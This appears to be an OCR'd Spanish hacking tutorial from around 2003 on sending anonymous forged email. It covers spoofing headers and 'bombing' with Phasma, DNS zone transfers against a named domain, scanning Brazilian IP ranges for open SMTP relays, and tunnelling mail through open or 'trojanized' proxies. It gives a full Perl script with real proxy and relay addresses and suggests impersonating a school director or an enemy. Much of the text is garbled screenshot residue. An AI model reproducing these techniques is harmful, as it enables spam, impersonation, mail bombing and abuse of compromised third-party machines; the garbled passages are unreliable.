Proxys (al menos tres) tal y como te ensefio la revista (socksCap-y Sockschain)

Si todo ha ido bien veras algo como esto en la pantalla de SocksCap:

%3 SocksCap Contral =]
File View Help

O x| = | #
New | Delets | Modify | Frurt

IEXPLORE

telnet

Selecciona el programa Phasma y pulsa el boton de Run! para que el programa utilice la cadena de
Proxys, si no lo haces asi tu IP no estara oculta. Veras lo siguiente:

DRk DS :

[ B B (SRR T [ T rree— FLAE. [
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Pulsa en el primer icono de la barra de herramientas (situada en la zona izquierda de la pantalla) y se
abrira la ventana para mandar el mail, verifica la casilla Advanced Options y completa los datos segtn se
muestra en esta pantalla:

Phasma 2.0 Enterprise by ad4 = Unregistered, 3 day(s) left

e | & 2 (@ 2 || D <.l R ERE

Explicacion
Server, es uno de los obtenidos mediante el listado de OPEN RELAY. éste no funciona
actualmente, yo personalmente adverti al admin.. de éste servidor del problema que tenia, asi que
prueba con cualquier otro o mejor aun, pruebacon el tuyo.
To: es la direccion a la que deseamos enviar el correo. La direccion ha sido tachada en ROJO..
From: Es la direccién falsa desde la que enviamos el correo

Subject: Asunto del correo

Message ID: Pulsa en el boton Generate Id situado un poco mas a la derecha, el servidor de
correo elegido, guardard un archivo /og con ese nombre de tus pasos...

Texto del mensaje es el texto aenviar.

En Advanced Options, asegurate de que:

El puerto SMTP sea el 25

Date: Fecha del envio. La pone solito, la puedes variar si quieres.

Received. Saldra algo asi:

from OEMcomputer | (localhost [127.0.0.1]) by localhost (8.8.8/8.8.8) with ESMTP id
M33P3DBYPH20ENT for <postmaster@localhost>; Fri, 15 nov 2002 20:11:09 (MET DST)

Bueno, esto estd muy bien, sera la linea que se mostrara como cabecera Received si el usuario
edita el codigo fuente del mensaje, te recomiendo que la cambies por la siguiente:

from OEMcomputer ([127.0.0.1]) by (8.8.8/8.8.8) with ESMTP id M33P3DBYPH20ENT for
<postmaster@localhost>; Fri, 15 nov 2002 20:11:09 (MET DST)

He quitado “localhost”, porque si no se visualizara el nombre del equipo en el mensaje,
siempre hay alguien que como nombre del equipo pone su nombre y apellidos enteritos, es que
“hay gente pa’ to”, si quieres puedes cambiar mas cosas, las dejo a tu voluntad.

Observa que PUEDES VARIAR LA IP

MiMe Version: 1.0 por si nos da por enviar un ejecutable, imagenes, scripts, etc.

Content Type: Text/plain (lo que vamos a enviar es un texto claro, nada de mails con formatos)
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Custom Headers, lo dejaremos tal cual, pero si te fijas podemos Afadir (Add) cabeceras
personalizadas, jQue pasada!, por ejemplo podriamos indicarle como X-Mailer: El cartero
nunca llama 10 veces. O lo que se te ocurra, ahora comprenderas “el rollo” que te solté al
principio de este documento hablando de la estructura de los mensajes de correo.

Attachments: Puedes adjuntar el/los archivos que te de la gana. FENOMENAL!!!!

Ahora solo te queda hacer clic en Send para enviarlo, o si lo prefieres pulsa en Bombing marcando las
opciones tal y como se muestran a continuacion:

L |
R T —
cumm-rrm{lm'/- bain

Custam Basders
add  memove Claar ll

—

Attachmants
234 memove Clear All

pessigeap{aphsems 2o ATSTIE] | Geaeran i
B Enabis bermaigl %

HAlo_]

0O Fiese 8m caming!

L fiota de ruves sxtratarres

0 Randomae
=]
o
(=]

Bonicto| | 8 0] [5) 51 || B Ysoprdsd otz d.. | [T Phasena 2.8 Enterprise.. EEg SEa. o

Enviaras 10 veces este correo a la direccion indicada en To: CUIDADITO con lo que haces y como lo
haces, puedes tener graves problemas legales si te equivocas de objetivo.
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Practica: 3 NSLOOKUP

Esta es una utilidad que la incorpora el Sistema Operativo y que puede obtener informacion sensible de
servidores DNS, e incluso si estdn mal configurados podemos obtener una transferencia de zona
obteniendo asi una estructura bastante exacta de lo que serd la Intranet de ese dominio.

Como imagino que la Revista nos pondra dentro de la serie RAW y demas lo que son los DNS/y sus
configuraciones, vamos en este apartado a tratar dos cuestiones simples:

1.- Volcado de zona de un DNS
2.- Obtener una lista de los servidores de correo de un dominio si estan disponibles.

Para obtenerlo debes recordar que el administrador del DNS-debe permitir las transferencias de zona,
cosa que no deberia ocurrir bajo ninguna circunstancia en un-server bien configurado,

Desde la shell escribes: nslookup

mbolo del sistema - nslookup

>
GC:srnslookup
DHS request timed out.
timeout was 2 seconds.
#x% Mo se puede encontrar el nombre de servidor para la direccitin 172.28.8.98: T
imed out
Servidor predeterminado: dns.terra.es
Address: 195.235.113.3

>

Si deseas obtener los comandos disponibles escribe Help.
No voy a detallar cada uno de ellos,/s6lo algunos:

Lo primero-que tenemos que hacer es cambiar el nombre del servidor que queremos usar, en este caso
vamos a mostrar un server MAL CONFIGURADO.

Escribimos: server dream-es.com

mbolo del sistema - nslookup

> server EAM—ES .COM
Servidor predeterminado: dream—es.com
Address: 217.126.149.131

>

Ahora vamos a pedirle una transferencia de zona completa:
Ls —d dream-es.com

imbolo del sistema - nslookup ]

> server dream—es.com
Servidor predeterminado: dream—es.com

B
Address: 217.126.149.131
[~

> lg —d dream—es.com

4 Moz

Cuando pulses enter empezaran a salir datos y datos de este server,
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Para no ser muy extenso he cortado las lineas que no interesan.....

& ns.txt - Bloc de notas i =]
Archiva  Edicion  Formato  Ayuda

> 1s —d dream-es.com -
[dream-es. com]

dream-es. com. SOA srv.dream-es.com admin. (291 900 600 86400 3600)
dream-es. com. A 192.168.0.11

dream-es. com. A 192.168.0.1

dream-es. com. NS srv.dream-es. com

_ldap. _tcp.dc._msdcs SRV priority=0, weight=100, port=389, srv.dream-es.com
_gc._tcp SRV priority=0, weight=100, port=3268, srv.dream-es.com

sSrv A 192.168.0.1 =
4] | 2

(Qué tenemos?

Pues lo primero las IP internas de los equipos que forman su red
El nombre del servidor de catalogo global....

Imagina que esto mismo se lo hacemos (y nos lo permite) wanadoo, ;,Qué conseguimos? Pues los
nombres y direcciones IP de SUS CLIENTES.

En fin, lo que nos interesa en esta practica es obtener los nombres de los servidores de correo de un
determinado dominio, para eso hay que explicar una cosa:

Los registros de tipo SOA son la Autoridad Principal del Dominio

Los registros de tipo CNAME son alias

Los registros de tipo NS son los Nombres de Dominio

Los registros de tipo A son Host (maquinas que pertenecen al dominio) de la zona de busqueda directa
Los registros PTR son punteros (direcciones IP) de la zona de busqueda inversa

Y por fin... Los registros de tipo MX son las maquinas que ofrecen servicios de correo

Fijate que en el caso anterior no hay registros MX, por tanto no ofrece servicios de correo, bueno no del
todo, podria-ofrecerlos sin que sean publicos en Internet, vamos dejaremos todo esto para cuando se
estudie DNS

Vamos ahora a pedir un listado de los servidores de correo (s6lo de correo) de un determinado dominio
Para ello, ejecuta nslookup como antes,

Escribe set type=MX (también puedes poner set qtype=MX 6 set querytype=MX)

No podemos usar (no debemos usar) Is como antes pues esto le indicaria a nuestro servidor que transfiera
su zona y pienso que yahoo.es que es el server que vamos a mirar no lo permitira, por ello escribe

simplemente su direccion web, es decir www.yahoo.es

mbolo del sistema - nslookup

> wuw.yahoo.es > ns.txt

Respuesta no autoritativa:

v . yahoo .es canonical name = wuwZ_vip.lng.yahoo.com

w2 vip.lng.yvahoo.com ME preference = 1. mail exchanger = nomail.yahoo.com

lng.-yahoo.com nameserver = nsl.yahoo.com

naneserver ns2.yahoo.com

naneserver ns3.yahoo.com

naneserver ns4.yahoo.com

nameserver = nsbh.yahoo.com

internet address = 216.145.48.35

internet address 66.218.71.63
ns2._.yahoo.com internet address .163.169.178
ns3.yahoo.com internet address
ns4.yahoo.com internet address
ns5.yahoo.com internet address

64.58.77.85

Y ahi los tienes.
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Practica: 4 Buscando Servidores que permitan OPEN RELAY.

(Qué te pareceria escanear un rango de IP’s en busca de ellos?

Para esto vamos a usar la herramienta dsns.exe, no precisa instalacion y su configuracion es muy simple,
es gratis, versatil., muy rapida y muy buena:

http://update.dsns.net/binaries/dsns122.zip

Una vez ejecutado el programa selecciona la ficha port/protocol verification y :

En Add Port Escribe 25

En el desplegable Protocol Probe: Selecciona SMTP Relay
Luego en el Boton de Select y acepta el puerto (seleccionalo)

Zilxi
Rrage port{peotocel veritication | geeral sattings | miofeba |

Add port Ry Purt Deariplion
m‘?'; P v—

Protocol proe

0 ports of | arn selacted, i‘N:‘I"RrN 'I

E e | Frag i
»

Pt | Rk T TE (L)
Sacks

11 T (S50 CONNECTY
F

En la Ficha General Settings puedes poner un Proxy para esconder la Ip del escaneo, para esta practica
no lo vamos a poner, si‘dispones de uno bueno, ya sabes...

& nsae

iprange | portjpeotncel verfiention  Qeners settings |nk\|'.|lnrt
Select retwork ¥ Rrsohve hestrames Vnrifying connection

iharface; @ Donft use aproxy (fastest) 5
1" Sockes peoeey (V4 onky)
o ; ’25_:| £ HITP proiy (55 connect)

Por ultimo volvemos a la Ficha IP range y seleccionamos el rango de IP a escanear, ;Cual? El que
quieras, nosotros vamos a bailar la samba...., vamos a Brasil, las Ip’s que se indican a continuacion son de
maquinas brasilefias. (200.149.120.1 a 200.149:130.255), son muchos, pero es que hoy es domingo y ...
seguro que tenemos suerte... Luego pincha en el boton de Scan.

& pss =10/ x|
18038 | portprotncel verfication | genera sottiegs | infofshous |
u el =] Scoeing  Waking.
- west [ IPhooks = Sxatus: 0005 (142 CK)
Stwtaddess [ 20 . 197 . 10 . 1 | 0 | W | skt 000f25 Thesads)
Shop address | 20 . 149 . 1M L B [ - Spesd (hfs) | 1000 = |
i Port | Reait =
B e e ke, 25 7.

Uniabibe Lo relay For milka@-
5.7.1 Unable Lo relay For mikag-

z

Como veras después tenemos nuestra recompensa, en rojo se mostraran los equipos que nos niegan el
acceso y/o no tienen el Relay abierto, y EN VERDE LOS QUE SI, en caso de que hayas escaneado un

rango muy grande, puedes pulsar sobre el boton derecho del raton en el listado y seleccionar Remove as
Failed, asi te quedaras solo con aquellos que admitan Relay.
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Practica: 5 Enviar Correos mediante un Proxy/WebServer

La idea consiste en manipular una peticion HTML para enviarle a un proxy un fichero que a su vez lo
envie a un Servidor de Correo SMTP indicado.

. Como Funciona?

e Un proxy es un programa que escucha las peticiones de sus clientes y las envia a un servidor destino
(sea lo que sea) y luego la respuesta del server destino se la devuelve al proxy y éste al cliente.

e Lo normal es que el Servidor Proxy deberia de estar configurado para atender peticiones por otros
puertos a parte del 80, al menos deberia atender a los mas comunes; 25, 110 etc. para que sus clientes

puedan enviar y recibir correo.

e Lapeticion HTML trucada consiste en que el proxy se conecte al puerto25 de un servidor SMTP (El
proxy no lo sabe, el pensara que se trata de una pagina web de solicitada a un servidor web)

Por qué funciona?

e Porque a un servidor web le podemos mandar lo que nos dé la gana, desde una peticion normal de
paginas, hasta un exploit o el mismisimo bug de unicode, otra cosa es que nos responda.

e El proxy filtrara la peticion para que el servidor web la entienda y ”’la convertird” en una peticion de
en comandos SMTP validos dirigida a un servidor de correo mediante ese protocolo.

2Oué necesitamos?

1.- Un cliente que haga la conexion, o/sea, nosotros
2.- Un servidor.Proxy, esto es interesante por que podemos usar como Proxys:

- | El mismo Servidor Proxy de nuestra red, no tiene mucho sentido, por que se supone que ya
lo podemos hacer y no es necesario manipular nada, pero....

a) El administrador de la red no sabra desde que maquina se envio, aparentemente fue el
mismo proxy el que envid el correo

b) Si nuestro administrador configurd el proxy para que sélo enviemos mails a través del
servidor de correo de la empresa, éste truco se lo salta, de forma que podremos usar el
servidor SMTP que queramos y/o encabezar el mail con el nombre del remitente que
nos de la gana, por ejemplo con la misma direccion de correo que el administrador o
con la del Director General. ;Te imaginas un mail del Director del colegio a todos los
profesores indicando que mafiana a las 11h después del recreo todos a casa?

- También podemos usar un Proxy que encontremos en Internet, dara lo mismo que sea
anénimo o no, puesto que la IP del remitente del correo sera la del Proxy.

- Podemos usar'un equipo victima que la hayamos colado el CCProxy, esto es mucho mejor,
porque en todos los casos anteriores el Servidor proxy se puede quedar con la verdadera IP
y/o registrar logs de sucesos, si troyanizamos otro equipo como se indicé en la revistan® 7'y
le hacemos alguna modificacion, el equipo que usamos como proxy se olvidara de nosotros,
DESAPARECEMOS.

3.- Un servidor de Correo que use protocolo SMTP, esto hay que matizarlo

- Ya se ha comentado bastante el problema del Relay, con éste método seguimos teniendo el mismo
problema, si el servidor de correo no admite Relay sera indiferente que enviemos un mail a través del
proxy o no, en definitiva sera el servidor SMTP quien tenga la ultima palabra para enviar el mail, sin
embargo, pensemos.....
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(Qué ocurriria si a una red que usa su propio proxy y su servidor SMTP, le enviamos nuestra peticion
HTML? Pues esta claro, el servidor SMTP reconocera que es el proxy quien le envia el mail y lo
dejara salir.

Organismos Oficiales, universidades, Ayuntamientos, etc. si usan un proxy para la conexion y tienen
otras maquinas que ofrecen otros servicios, normalmente el proxy encamina las peticiones, ademas
son faciles de descubrir, por ejemplo:

Si el servidor proxy de la junta de andalucia es proxy.anadalucia.org, lo mas normal sera que los
otros servidores sean: pop.andalucia.org, smtp.andalucia.org, www.andalucia.org, ftp.andalucia.org ,
etc...

Bueno, dejaremos esto tltimo para otra ocasion, la mayor parte de las veces no es asi de sencillo y en
muchos casos esas maquinas estan alojadas en servidores externos o en los propios ISP, de todos
modos no lo olvides, por si acaso.

- Lamejor solucion, sera buscarnos un server SMTP_que admita Relay, ;Como?

a) mediante la lista de Servidores Open Relay de la pagina de ORDB que vimos antes. El mayor
problema es que para conocer “los mejores “ hay que pagar por ellos, otro problema afiadido es
que los buenos servidores de correo, Firewalls, etc., actualizan sus listas negras con las IP de esa
Base de Datos y serd muy probable que no nos lo permitan y por si fuera poco, pueden no
funcionar y/o corregir su estado en cualquier momento y “nos cortara el rollo”

b) Buscando con el maravilloso dsns como se vio anteriormente, el asunto es que no tendremos la
certeza de que siempre esté disponible, luego antes de enviar el mail falseado deberiamos probar
sobre nosotros mismos o sobre alguna cuenta de correo que actue de conejillo de indias.

¢) Quizas la mejor solucion sea la de redireccionar los puertos de otra maquina para que lo haga.
(Qué? ;Como? ;Mande?, pues si, una de los mejores métodos sera “asaltar” una maquina y
redireccionar su puerto 25 al puerto 25 del servidor SMTP que mas rabia nos dé, usando un
bouncer o simplemente nuestro amigo CCProxy.

4.- Mas maquinas por medio

La imaginacion al poder, podemos rebotar el mail por todos aquellos proxys, ftp, bouncers, etc. que se
nos ocurran, eso lo dejo de tu parte.

Consideraciones

1°) Hay que comprender que las redes son dinamicas, cambian su configuracion frecuentemente (algunas
en pocos minutos) por lo que si encontramos hoy y ahora una maquina que admita Relay o que la
podamos usar como proxy es muy probable que maifiana no lo sea.

2°) Aun en el caso de que encontremos un Server de Correo que admita Relay, puede ser que contemple la
posibilidad de verificar la existencia del remitente, es decir, un servidor de correo abierto al Relay no
enviara el mail si el origen no existe, o no es una direccion valida de correo, por ejemplo:

Imagina un servidor SMTP que admite relay y le enviamos un mail diciendo que somos
elmono@nolosabes.jeje, pues aunque “parece” que lo envia realmente no lo hara, por que el servidor de
correo comprueba antes de enviar el mail si el dominio nolosabes.jeje existe 0 no y/o si es un dominio
valido de Internet.

(Como solucionar esto?, simplemente indicando una direccion valida, que puede ser la nuestra o no, es
decir, por ejemplo podemos decirle que somos Carlomagno@hotmail.com o pepe@terra.es o cualquier
otra direccion mail que sepamos que exista, realmente los servidores SMTP mal configurados sélo
verificardn que el dominio existe (hotmail.com, terra.es, etc.) lo que ocurrird es que si se produce algin
fallo (sup6n que el buzon del destinatario esta lleno y su server POP lo rechaza) respondera con un mail
delivery al remitente, si éste no existe lo dirigira al postmaster del servidor de correo usado para enviar el
mail falso y entonces empezara a descubrir el pastel, lo mejor, utiliza como remitente al mismo
destinatario o la direccion de correo de tu peor enemigo.
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Funcionamiento del protocolo HTTP

No voy a entrar en grandes detalles, de hecho no voy a descubrir nada, supongo que la Revista nos
enseflard la mecanica del éste protocolo a tarvés de la serie de articulos RAW, que por cierto estan
bastante bien explicados independientemente de la profundidad de los mismos, pero ya sabes, esto es
Paso a Paso , recuerda el dicho Zamora no se gano en una hora.

El protocolo http usa varios comandos, normalmente cuando pedimos una péagina concreta se usa GET, el
que nos interesa aqui es POST, puesto que permite enviar texto del cliente al Server (como cuando
rellenamos un formulario y lo enviamos)

Ya tenemos la instruccion, lo que hay que saber ahora es como usarla, la filosofia es la siguiente:

POST direccion_url Protocolo version

Por ejemplo,

POST http://www.servidor.com /http/1.0

(Como lo usaremos nosotros?

POST http://smitp.destino.com 25/ HTTP /1.0

Empiezas a entender, verdad? Lo que le estamos indicando al navegador o al proxy en este caso es que lo
que vaya a enviar POST lo haga a un servidor SMTP a través del puerto 25 y no del puerto 80 como seria
lo normal.

Antes de continuar vamos [a entender todo “el chorizo” que necesitamos para usar POST, imagina este
encabezado que solicita “escribir” en un servidor

POST http://smtp.destino.com 25/ HTTP /1.0

Host:smtp.destino.com
Content-type: application/x-www-form-urlencoded

Content-length: longitud

Soélo hay que hacer algunas aclaraciones,
POST le indica al proxy la url destino
Host: debe ser el servidor de correo al que deseamos enviar el mail, es éste caso el mismo

Content-type: es el tipo de contenido de la “conversacion”, ya te he dicho que no voy a entrar de lleno en
http, simplemente eso le indicard a nuestro querido proxy que la peticion al host destino la transforme en
una solicitud web (por eso decia antes que el proxy no sabe realmente lo que estd haciendo, el piensa que
lo que va a enviar es una solicitud web)

Sélo por ampliar algo mas, si fuese una peticion normal a un servidor SMTP, el content-type
podria ser text/plain o algo parecido, si se tratase de un contenido multimedia como un sonido,
pues seria audio/wav , etc., por ahora “nos vamos a creer” que application/x-www-form-
urlencoded, indica que el contenido es una pagina web, je, je, asi el proxy la dejara salir sin que
se entere...

Content-Length: Pues eso, debe ser un nimero que indica cuantos caracteres se van a transmitir, asi que
ya tenemos el primer problema, cuando enviemos el correo a mano, antes hay que contar todos los
caracteres y no te equivoques, por que si le pones 1 de mas u otro de menos NO LO ENVIA.
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Esto incluye desde la H de Helo hasta la t de QUIT, como supones esto es una lata, imagina contar todas
las letritas de tu mensaje, y no te quiero contar si le adjuntas un archivo de 534K, buff, complicado.

Veamos un ejemplo “enterito”

POST http://smtp.destino.com 25/ HTTP /1.0

Host:smitp.destino.com

Content-type: application/x-www-form-urlencoded
Content-length: longitud

HELO localhost

MAIL FROM:<carol@hotmail.com>

RCPT TO: <yo@wanadoo.es>

DATA

Subject:Hola

Hola

QUIT

Loégicamente smtp.destino.com debe ser sustituido por el servidor a usar, al igual que las direcciones mail
que aparecen en las cabeceras MAIL FROM y RCPT TO.

La longitud también habria que ponerla, si “todo lo anterior fuese correcto” y si no me equivocado al
contar seria 227, pero imagina que cambias el servidor, o la direccion mail, etc. vamos que te va a dar un
cuchufruco contando caracteres, ademas empezaras he contado ese espacio o no? , ;después de los : hay
espacio o no, lo cuento?, en definitiva un jaleo.

Vale, no sera nada dificil crearnos un programita, en Visual Basic por ejemplo, que lo haga por nosotros,
escribes el mensaje en un textbox, le aplicas la funcion len y pitando que es gerundio.

Como podras imaginar, la comunidad underground, ya pensoé en ello, de hecho existe alguna que otra
aplicacion que lo hace TODO, los cuenta y lo envia, para darle continuidad al asunto y pensando en los
linuxeros, buscando por Internet encontraras un scripteén PERL que lo hace, si usas Windows, ya sabes lo
primero que hay que hacer es conseguir el intérprete de PERL para la version de S.O. que uses.

Yo utilizo ActivePERL, lo encontrards en la pagina de Active State, en el foro ya he puesto numerosos
post con la direccion de descarga, también lo haré ahora, s6lo una aclaracion, si usas W9x/ME primero

debes descargar el instalador (esta en la misma pagina) y después instalar PERL

Los que uséis NT/XP/W2K no es preciso ese paso previo, con bajar el intérprete y ejecutarlo sera
suficiente.

A los de *NIX no os digo nada, ya lo tenéis.

La web es: http://www.activestate.com/ActivePerl/

Observa también que las direcciones del mail se encerraron entre signos <y >, o como decia un profesor
“muy cursi” que tuve “paréntesis angulados”, hay que j*der*e, un saludo desde aqui A.B. nunca olvidé
esa frasecita tuya....

Bueno, realmente esa es la sintaxis correcta a la hora de especificar las direcciones de las cabeceras
MAIL FROM y RCPT TO, practicamente todos los SMTP “pasan” de los angulitos, pero todavia hay
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equipos que son disciplinados, si das con un SMTP que corre en AS400 te daras cuenta que para él son
imprescindibles... asi que para evitar problemas, los ponemos por si las moscas.
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Vale, v ahora ;como lo enviamos?

Podemos hacerlo “a mano” usando telnet, uff!! Qué dolor me da pensar en eso, pero bueno se podria
telnet ip.del.proxy 25

v nos ponemos a escribir todo, SIN EQUIVOCARNOS y ojo al content-length que debe ser
exacto!!!

Creo que esto no es muy factible....

Otra opcidn es meter todo eso en un fichero .txt y darselo a netcat para que lo envie,
Una vez creado el archivo, imagina que se llama mimail.txt, escribimos:
Type mimail.txt | nc —vv ip.del.proxy 80
Esto esta mejor, pero seguimos teniendo el problema de contar los caracteres a enviar....

(Mas posibilidades?, una muy simple, nos creamos una pagina web que lo haga y se la enviamos al
proxy, pero seguimos con el problemita de la longitud.....

Creo que lo mejor sera lo del PERL y/o un programita en VB que lo haga, mas facil y mas comodo.

2Oué necesitaremos para ejecutar el script de PERL?

e Elintérprete de PERL, ya te he puesto la direccion donde lo puedes descargar

e Un fichero de texto con el contenido del mail, EH!! Sélo con el cuerpo del mensaje, vamos todo lo
que le quieras enviar, lo que-escribirias después de la instruccion DATA, en el ejemplo:

Subject:Hola

Hola

No has de poner ni DATA ni el . ni QUIT, nuestro script PERL ya lo hara cuando se envie
e Un servidor Proxy para que lo envie, no te deberia explicar como encontrarlos, métodos: al gusto:

- www.multiproxy.org recuerdas esta direccion, no?

- http://users.pandora.be/h88/anprox.html ésta también es buena

- http://www.publicproxyservers.com/pagel.html o por aqui....

- Seguro que conoces otras muchas....

- Alguno que funcione con las bombillitas del SocksChain y que te puedas conectar al él
mediante el http 80

- Alguna de “nuestras” victimas troyanizadas con el CCProxy

e Un servidor SMTP que admita Relay, lo mismo que antes, al gusto:

- Alguno que se descubra con la herramienta dsns

- Alguno que funcione sacado de la Base de Datos Open Relay

- Alguno que hayamos “troyanizado” mediante un bouncer o el CCProxy mediante la opcion
de redirigir puertos.

- El nuestro, claro solo para probar que todo va bien, luego uno de los otros
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e Y claro, El famoso script de PERL.

El script en PERL

Daremos las gracias a Alexander Yurchenko, por su creacion y asi no sufrir dafios cerebrales a la hora de
enviar el mail y contar la longitud de caracteres de su contenido, he quitado las lineas de comentarios y
demas, para que no sea tan largo, si queréis descargarlo completito, lo haréis en:

http://cert.uni-stuttgart.de/archive/bugtraq/2001/10/pl00001.pl

En negrita estan los valores que se han de cambiar, corresponden a la direccion del proxy, smtp y
remitente y destinatario, ni que decir tiene que éstos que ves no tienen por qué funcionar, lo hicieron en
ésta prueba, pero ya te lo he dicho, las redes son dindmicas y puede que ahora ya no estén disponibles.

use IO::Socket;

Sproxyhost = '67.96.33.151"';

Sproxyport = '80';

Ssmtpserver = '200.149.217.78';

$Ssender = '<carol@hotmail.com>';

Srecipient = '<destinatario@terra.es>';

local $/ = undef;

Smessage = <>;

$smtpdata = "HELO $proxyhost\n";

Ssmtpdata .= "MAIL FROM: S$sender\n";

Ssmtpdata .= "RCPT TO: Srecipient\n";

$smtpdata .= "DATA\n";

$Ssmtpdata .= "S$message\n.\n";

Ssmtpdata .= "QUIT\n";

Srequest = "POST http://$smtpserver:25/ HTTP/1.0\n";
Srequest .= "Host: S$smtpserver\n";

Srequest .= "Content-type: application/x-www-form-urlencoded\n";
Srequest .= "Content-length: ".length ($smtpdata)."\n\n";
Srequest = "Ssmtpdata";

Ssocket = I0::Socket::INET->new (PeerAddr => S$proxyhost,
PeerPort => S$Sproxyport,
Proto => 'tcp',
Type => SOCK_STREAM)

or die "could not connect to S$proxyhost:S$proxyport : $!\n";

print $socket S$request;

Sanswer = <$socket>;

close ($socket) ;

print "SMTP session log:\n\nSanswer";

. Como funciona esto?

Bueno pues una vez instalado el Intérprete de PERL, hablo de Windows, sino le indicamos lo contrario se
instalarad en el directorio C:\perl, lo primero que haremos es crear el contenido del mail, para ello
usaremos el bloc de notas y escribimos lo que queramos enviar, después lo guardamos en el directorio
C:\PERL o en que est¢ instalado el intérprete, yo utilicé como nombre m.txt
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] M.txt - Bloc de notas =101 x|
Archivo  Edicion  Formato  Awuda
subject:soy yo, pero tu no lo sabes -

Anda,a que no sabes quien soy, jaja,

Te fastidias, yo s1 1o =é.

Bye, bye. -
4| | JJ_J

Lo guardas con el nombre m.txt o el que te dé la gana.

Ahora abrimos una shell, NO!! NO!! Ya esta bien de decir como se hace...

Cambiamos al directorio de instalacion de PERL que ademas contiene el archivo m.txt

Si te has descargado el script de PERL desde la direccion que te puse, veras que se llama pl00001.pl, si
optaste por copiar y pegar directamente del que hay en este documento, 1lamalo taty.pl, no es preciso,
pero asi no nos “apropiaremos” del trabajo de Alexander Yurchenko.

Recuerda copiarlo/grabarlo en el directorio de PERL c:\perl, para que no haya que ir indicando rutas....

En la shell escribimos:

C:\Perl>perl taty.pl<m.txt

imbolo del sistema

C:~Perl>perl taty.pli<m.txt

No debo, no deberia... pero por si acaso:

Perl taty.pl ejecuta el script,. Lo que ocurre es que éste programa necesita como argumento un fichero
(nuestro m.txt) y por eso se “indirecciona” mediante el signo menor que <, de otra forma, mediante esa
linea “pasamos” el contenido del fichero m.txt al script taty.pl que lo espera para enviarlo.

Si todo va bien, veras algo asi:

imbolo del sistema

C:sPerliperl taty.pl<m.txt
SMIFP session log:

HTTP-1.1 288 OK

Date: Thu, 17 Apr 2883 14:17:32 GMT
®—Cache: MISS from www.umdonline.com
Connection: close

Content—Type: textsplain

L8@ Command unrecognized
588 Command
588 Command
Command unrecogni
Command unrecogni
Command unrecognized
Command unrecognized
proxy.barcellos
QK {carol@hotmail.com>
OK <ot >
Start mail input. End with {CRLF>.<{CRLF>
Accepted for delivery
proxy.barcellos closing connection

G:Perl>
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Observa que se producen respuestas “conflictivas” del proxy, eso es normal, en definitiva “é/ cree” que lo
que debe entregarnos es una pagina web y no es asi, pero mira también que al final responde el Servidor
de Correo con mensajes de OK, EL MAIL SE HA ENVIADO!!!
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Anatomia del Correo

A continuacion te muestro el resultado de un correo enviado mediante un servidor que admite Relay sin
utilizar el script de PERL, se envi6 directamente a través de telnet.

El remitente es carol@terra.es y el destinatario es mi propia cuenta, que se muestra mediante
XXXX@terra.es (logicamente las XXXX las he puesto yo para no indicar mi correo verdadero)

Observa que la ultima cabecera Received (leidas de abajo arriba, en negrita y azul), muestra mi verdadera
IP, no la oculto por que la prueba la realicé con una ip dinamica, asi que no importa que se vea aqui.

Return-Path: <carol@terra.es>
Received: from tsmtp3.ldap.isp ([10.20.4.23]) by mb20.terra.es
(terra.es) with ESMTP id HDG60401.TJY for <XXXX@terra.es>;
Wed, 16 Apr 2003 19:45:40 +0200
Received: from smtp.estaminas.com.br ([200.188.191.51]) by
tsmtp3.1dap.isp (terra.es) with ESMTP id HDG60201.SZ3 for
<XXXXX@terra.es>; Wed, 16 Apr 2003 19:45:38 +0200
Received: from enalterS.enalter.com.br (dial-tm-mp-200-149-120-222.estaminas.com.br [200.149.120.222])
by smtp.estaminas.com.br (8.11.0/8.11.0) with ESMTP id h3GH;jZQ11643
for <XXXXX@terra.es>; Wed, 16 Apr 2003 14:45:35 -0300
Date: Wed, 16 Apr 2003 14:45:35 -0300
From: carol@terra.es

Message-1d: <200304161745.h3GHjZQ11643@smtp.estaminas.com.br>

Exchange Internet Mail Service Version 5.5.2448.0)
id JBPJDSJV; Wed, 16 Apr 2003 15:52:11 +0100

Received: from 213-99-114-117.uc.nombres.ttd.es ([213.99.114.117]) by enalterS.enalter.com.br with SMTP (Microsoft

Lo que viene ahora, es el mismo correo enviado a través del mismo servidor SMTP de antes pero usando
el script de perl, es decir, enviandoselo a un proxy para que éste a su vez lo dirija al Servidor de correo,
Fijate bien, las tnicas IP que se muestra son las del Proxy y las del Servidor de correo usado, YO YA NO
ESTOY!!!!

Received: from recep--o (PE217078.user.veloxzone.com.br [200.149.120.222])
by m20.terra.es (8.12.8/8.9.3) with SMTP id h3GLe0d1015620
for <XXXX@terra.es>; Wed, 16 Apr 2003 23:40:01 +0200 (MET DST)
Date: Wed, 16 Apr 2003 23:40:00 +0200 (MET DST)
From: carol@terra.es
Message-1d: <200304162140.h3GLe0d1015620@smtp.estaminas.com.br >

Received: from 67.96.33.151 ([67.96.33.151]) by recep--o (602Pro LAN SUITE v. 2002) id 2c7eabcO for
XXXXX@terra.es; Mon, 15 Apr 2002 17:47:08 -0300

X-TITDT . “TK"15(8"1+4e" 'Noil!

Como curiosidad fijate en las fechas (Date) el proxy recibio el mail el lunes 15 de abril y el servidor de
correo lo soltd el miércoles 16, quitando el desfase horario que pudiese haber, un correo asi enviado,
puede que tarde mas de lo normal, como es éste caso.
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A continuacién mira este otro resultado, al igual que antes se envio el mail mediante un proxy, en esta
ocasion solo tardo 8 horas en recibirse.... asi que no te desesperes si el mail que envias no llega tan
rapidito como cuando lo envias normalmente....

ﬁﬂ Bandeja de entrada - Dutlook Express - IEllil
J Archiva  Edicidn  Wer Herramientas Mensaje  Avuda |
»
- - G W2 = X g5 .
COrren N, Responder Responder...  Reenwiar Irnprimir Eliminar Enviar v re...
% Bandeja de entrada
Catpetas x|[t]o]® oe | asunto |
I‘_;}] Cutlook Express 5= o o buno o sa

E'@ Carpetas locales

E@ Bandeja de entrada < | —PI—I

Q@ Errores Envia

: T Peticiones atrasadas —) De: agqui@hotmail.com  Para:
Asunto: Sov ywo, pero tu no lo sabes
% Bandeja de salida

@ Elementos enviadas

| »

.G Elementos elimiano" Andaa que no sabes quien soy, jaja,
3

Contactos = x || Te fastidias, yo silo se.

o hay contactos que mostrar, Haga clic

&n Conkackos para crear un conkacko Bye, bye.
nuesvo, —
=
|38 mensajes, 0 no leidos @ Can canexian 4
i Codigo fuente del mensaje =]

Iheceived: from rmailserver.test (RJI174236.user.veloxzone.com.br [200.149.174.236]) =
by correcllEN (8.12.8/8.9.3) with ESMTP id h3HHCgdl004987
for </l : Thu, 17 Apr 2003 19:12:53 +0200 (MET DST)

Date: Thu, 17 Apr 2003 19:12:52 +0200 (MET DST)

From: aguithotmail.com

